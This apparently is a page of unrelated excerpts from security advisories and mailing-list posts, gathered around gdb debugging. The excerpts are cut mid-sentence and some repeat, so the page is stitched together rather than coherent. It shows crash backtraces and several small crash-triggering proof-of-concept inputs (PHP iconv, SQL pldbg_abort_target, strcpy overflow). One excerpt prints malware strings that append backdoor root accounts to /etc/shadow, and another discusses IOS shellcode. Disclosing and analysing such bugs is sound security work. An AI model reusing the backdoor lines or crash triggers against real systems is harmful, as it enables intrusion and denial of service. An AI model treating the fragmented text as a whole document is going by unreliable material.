<< Previous Next >>
gdb
DETAILS
Disassembly:
(gdb) disas $pc
Dump of assembler code for function memmove$VARIANT$sse42:
0x991539bd <memmove$VARIANT$sse42+0>: push %ebp
0x991539be <memmove$VARIANT$sse42+1>: mov %esp,%ebp
0x991539c0 <memmove$VARIANT$sse42+3>: push %esi
0x991539c1 <memmove$VARIANT$sse42+4>: push %edi
operating systems may also be exploitable.
Here is what happens on an up-to-date Ubuntu Linux 8.04 guest when the kernel
handles the #PF exception with a spoofed supervisor bit in the exception code.
(gdb) x/i $pc
0x900: call 0xaabb:0xccdd
(gdb) si
0xc031d000 in page_fault ()
(gdb) x/x $esp
0xdde15f08: 0x00000002
17 .ctors 00000040 00ddafc4 00ddafc4 00071fc4 2**2
CONTENTS, ALLOC, LOAD, DATA
Alternatively,
$ gdb -q /usr/lib/liblftp-tasks.so.0
Reading symbols from /usr/lib/liblftp-tasks.so.0...(no debugging symbols found)...done.
(gdb) symbol-file /usr/lib/debug/usr/lib/liblftp-tasks.so.0.debug
(gdb) p &__CTOR_END__ - &__CTOR_LIST__
$1 = 15
Postfix SMTP server process crashes in "step 2" of the DIGEST-MD5
authentication protocol. This happens while attempting to read from
a pointer that contains an invalid address.
In this particular example, the Postfix SMTP server crashes while
running under control of the GDB debugger (see the Postfix master(5)
manpage discussion of the -D option), while processing the SMTP
commands shown in the example above.
(gdb) where
#0 0x884bbedf in clear_reauth_entry (reauth=0x206e6f69, type=SERVER,
Segmentation fault (core dumped)
127# chmod -R 000 Samotnosc
Segmentation fault (core dumped)
127# gdb -q du
(no debugging symbols found)
(gdb) r /home/
Starting program: /usr/bin/du /home/
4 /home/cxib/.ssh
0xdee860f <_ZN11JBIG2Stream17readSymbolDictSegEjjPjj+3779>: cmp 0x8(%eax),%ecx
0xdee8612 <_ZN11JBIG2Stream17readSymbolDictSegEjjPjj+3782>: jae 0xdee861a <_ZN11JBIG2Stream17readSymbolDictSegEjjPjj+3790>
0xdee8614 <_ZN11JBIG2Stream17readSymbolDictSegEjjPjj+3784>: mov 0xc(%eax),%eax
0xdee8617 <_ZN11JBIG2Stream17readSymbolDictSegEjjPjj+3787>: mov %esi,(%eax,%edi,1) <----- Crash
(gdb) i r $esi $eax $edi
esi 0xc79e860 209315936
eax 0x0 0
edi 0x0 0
(gdb) bt
At least 57 places with crypto were found by FindCrypt: DES, MD4, MD5, SHA1, just to name a few. We found at least two independently implemented AES cipher constants, all algorithms were double and triple implemented.
Another obstacle is the fact that the Intel Compiler, which was used to compile the Oracle executable, uses an optimization which led in having no cross references (XREFs) to code or data in several segments. Thus we could not see wherefrom for example an S-Box is accessed in the code. So we used the IDA API to implement a tool which automatically finds these PC-relative offset calculations and adds XREFs to the IDB. One can only assume that Oracle uses the Intel compiler because no other compiler would produce efficient enough code to run this behemoth of a binary in acceptable speed.
We also combined the static analysis by disassembling the Oracle executable with a runtime analysis using ltrace and the precious GNU debugger GDB. Have you ever tried to attach more than two dozens processes with GDB and set a few hundred breakpoints in batch mode? It's real fun.
Anyway, what were we looking for? We're looking for some kind of "create password hash" function, which generates and stores a 30 Byte ASCII-hex encoded sequence in table sys.user in a field called "spare4".
After we ran into different hashing and cipher functions (Oracle actually does Kerberos, AES for TLS, etc) we found the appropriate hashing function.
DETAILS
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000009
0x045081fb in imMemDisposalCallbackControl ()
(gdb) bt
#0 0x045081fb in imMemDisposalCallbackControl ()
#1 0x070f47fd in VListGetNumEntries ()
#2 0x070e9aa7 in MovieMemoryDispose ()
#3 0x070e22d4 in MovieMemoryDispose ()
#4 0x070e2329 in MovieMemoryDispose ()
execution privilege over the pldbg_* function is granted by default).
2) Execute the following query:
edb=> select pldbg_abort_target(1094861636); -- 0x41424344 in decimal
(gdb) where
#0 0x00ba81db in sendBytes ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#1 0x00ba82a1 in sendUInt32 ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#2 0x00ba82e3 in sendString ()
0x9223721f <CFArrayGetValueAtIndex+111>: add %esi,%eax
0x92237221 <CFArrayGetValueAtIndex+113>: mov 0xc(%ebp),%edx
0x92237224 <CFArrayGetValueAtIndex+116>: lea (%eax,%edx,4),%eax
0x92237227 <CFArrayGetValueAtIndex+119>: mov (%eax),%eax <----- Crash here.
(gdb) x/i $pc
0x92237227 <CFArrayGetValueAtIndex+119>: mov (%eax),%eax
(gdb) i r $eax
eax 0x585d910 92657936
(gdb) bt
#0 0x92237227 in CFArrayGetValueAtIndex ()
> char COPY[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...";
> strcpy((char *)buffer,(char *)COPY);
>
> }
>
> k, this works very well, i got a core dump and have startet gdb. but in the output from "info all" was eip not overwritten
>
> so i put a few lines in the program to output addresses from functions and variables.
>
> addresses from functions where over 0 (eg (dec)500000) and addresses from vars under 0 (eg -5000000)
>
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x90000004
0x0714b9db in MovieMemoryDispose ()
(gdb) bt
#0 0x0714b9db in MovieMemoryDispose ()
#1 0x0714d329 in MovieMemoryDispose ()
#2 0x0715b778 in MovieMemoryDispose ()
#3 0x0715be15 in MovieMemoryDispose ()
#4 0x0706964a in TELscriptRef_GetPropertyInitsAsHandle ()
- -----------------------
Program received signal SIGSEGV, Segmentation fault.
0x67c68740 in js3250!JS_DHashTableEnumerate ()
from C:\Program Files\Flock\js3250.dll
(gdb) i r
eax 0x964619c7 -1773790777
ecx 0x2 2
edx 0x2 2
ebx 0x2 2
esp 0x20e7f0 0x20e7f0
<?php
$a = str_repeat("/", 4199000);
iconv(1, $a, 1);
?>
(gdb)run 1.php
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1217608000 (LWP 29444)]
0xb76ed3e5 in iconv_close () from /lib/tls/libc.so.6
FPU stack:
C020A38F66534266F000 C020A38F66534266F000 3FFBE38E38E38E38D800
3FC78000000000000000 10000000000100000000 0BBE0000000000040000
00000000000000000000 2EBA804E2FDE00000000 SW=0122 CW=027F
127# gdb -q opera opera.core
...
Program terminated with signal 11, Segmentation fault.
#0 0x2960307b in ?? ()
...
(gdb) i r
> <a>
Online-demo:
http://morph3us.org/security/pen-testing/konqueror/1178292626-khtml.html
> (gdb) set args konqueror.html
> (gdb) r
> Starting program: /usr/bin/konqueror konqueror.html
> (no debugging symbols found)
> [...]
> [Thread debugging using libthread_db enabled]
The original author of this advisory is Juan Pablo Lopez Yacubian
Author of this advisory: WarGame - http://vx.netlux.org/wargamevx - wargame89@yahoo.it
Compiling Rhythmbox 0.11.5 with debug support (-g) and making it parse the DoS playlist file you can get this backtrace:
(gdb) run /home/wargame/prova.pls
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/wargame/test/bin/rhythmbox /home/wargame/prova.pls
[Thread debugging using libthread_db enabled]
[New Thread 0x7f01a0a907c0 (LWP 1757)]
[cx@82 /www]$ php define.php 8999999
Out of memory
[cx@82 /www]$ php define.php 9999999
Segmentation fault: 11
(gdb) bt
#0 0x28745eb0 in strrchr () from /lib/libc.so.7
#1 0x0822d538 in zend_register_constant (c=0xbfbfcfb0)
at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429
#2 0x08251e0e in zif_define (ht=2, return_value=0x28825a98,
return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)
#endif
return(0);
}
GDB output:
Program received signal SIGSEGV, Segmentation fault.
0xd01e28cc in _doprnt () from /usr/lib/libc.a(shr.o)
(gdb) bt
#0 0xd01e28cc in _doprnt () from /usr/lib/libc.a(shr.o)
}
k, this works very well, i got a core dump and have startet gdb. but in the output from "info all" was eip not overwritten
so i put a few lines in the program to output addresses from functions and variables.
On Tue, Sep 23, 2008 at 3:43 AM, Florencio Cano
<florencio.cano@gmail.com> wrote:
> run it inside GDB. Does GDB alter the memory map of a process when
> executed inside it? In which way? Where I can read info about this?
Yes, your offsets will differ. Put a break at start of main(),
recompile, and use something like memfetch | hexdump -C to see...
http://lcamtuf.coredump.cx/soft/memfetch.tgz
You must also remember that newer Linux distros include many security
2147483649, 2554462209} (when rdi out off band (range 2to31 2to32 under 64bits linux)
Program received signal SIGSEGV, Segmentation fault.
0x00007fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned short*,
int, UErrorCode&) const () from /usr/lib/libicuuc.so.42
(gdb) bt
#0 0x00007fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned
short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42
#1 0x00007fffee5d11c0 in zif_numfmt_get_symbol (ht=17168120,
return_value=0x105c928, return_value_ptr=0x4, this_ptr=0x105f710,
return_value_used=17168144)
Halvar,
The primary objective of the research was to understand how to create a
remote high privilege shell on IOS (as Michael Lynn demonstrated at
BlackHat 2005) - this was achieved and in the process, we discovered
three ways of doing it. Because we had worked out how to use gdb with
IOS, the easiest way for us to develop the shellcode was by using gdb to
upload the code to some spare IOS memory and hook into an IOS process
that was already running to execute it.
The secondary objective was making the shellcode as compact as possible,
Halvar,
The primary objective of the research was to understand how to create a
remote high privilege shell on IOS (as Michael Lynn demonstrated at
BlackHat 2005) - this was achieved and in the process, we discovered
three ways of doing it. Because we had worked out how to use gdb with
IOS, the easiest way for us to develop the shellcode was by using gdb to
upload the code to some spare IOS memory and hook into an IOS process
that was already running to execute it.
The secondary objective was making the shellcode as compact as possible,
heh, dude seriously, at least learn to strip -s your bin's.
FYI this is malware, it does things like:
(gdb) x/s 0x80494e0
0x80494e0 <__dso_handle+816>: "echo
toor:\\$1\\$nLv4Q0aJ\\$rV4IkBgFH1NMo\\/HzHX35u/:13531:0:99999:7:::>>/etc/shadow"
(gdb) x/s 0x8049534
0x8049534 <__dso_handle+900>: "echo
newbie:\\$1\\$nLv4Q0aJ\\$rV4IkBgFH1NMo\\/HzHX35u/:13531:0:99999:7:::>>/etc/shadow"
<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script>
- -----------------------
127# gdb seamonkey-bin seamonkey-bin.core
...
#0 0x28df0ecb in ?? ()
...
(gdb) i r
eax 0x0 0
char COPY[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...";
strcpy((char *)buffer,(char *)COPY);
}
k, this works very well, i got a core dump and have startet gdb. but in the output from "info all" was eip not overwritten
so i put a few lines in the program to output addresses from functions and variables.
addresses from functions where over 0 (eg (dec)500000) and addresses from vars under 0 (eg -5000000)
... then the following crash occurs on a CentOS v5.2/x86 platform:
Program received signal SIGSEGV, Segmentation fault.
0x0804fdca in main ()
(gdb) disassemble main
[...]
0x0804fd9e <main+2318>: call 0x804bee0 <sprintf@plt>
0x0804fda3 <main+2323>: mov %edi,0x4(%esp)
0x0804fda7 <main+2327>: mov (%esi),%eax
0x0804fda9 <main+2329>: mov 0x10(%eax),%eax
-Dan
/*
* You've done it. After hours of gdb and caffeine, you've finally got a shell
* on your target's server. Maybe next time they will think twice about
* running MyFirstCompSciProjectFTPD on a production machine. As you take
* another sip of Mountain Dew and pick some of the cheetos out of your beard,
* you begin to plan your next move - it's time to tackle the kernel.
*
> it will return 0x10 sizes heap in glibc <2.5(maybe prior) or
> win2000 sp4
This bug has been fixed in GNU libc CVS in August 2002. I've just
checked version 2.3.6, and it does return NULL on overflow. There is,
however, a different version of calloc that GDB sees, but this is not
the real one invoked by application code.
On Windows, this bug depends on the Microsoft Visual C++ run-time
library. As a result, it's not completely determined by the Windows
version alone.
<<Previous Next>>
|
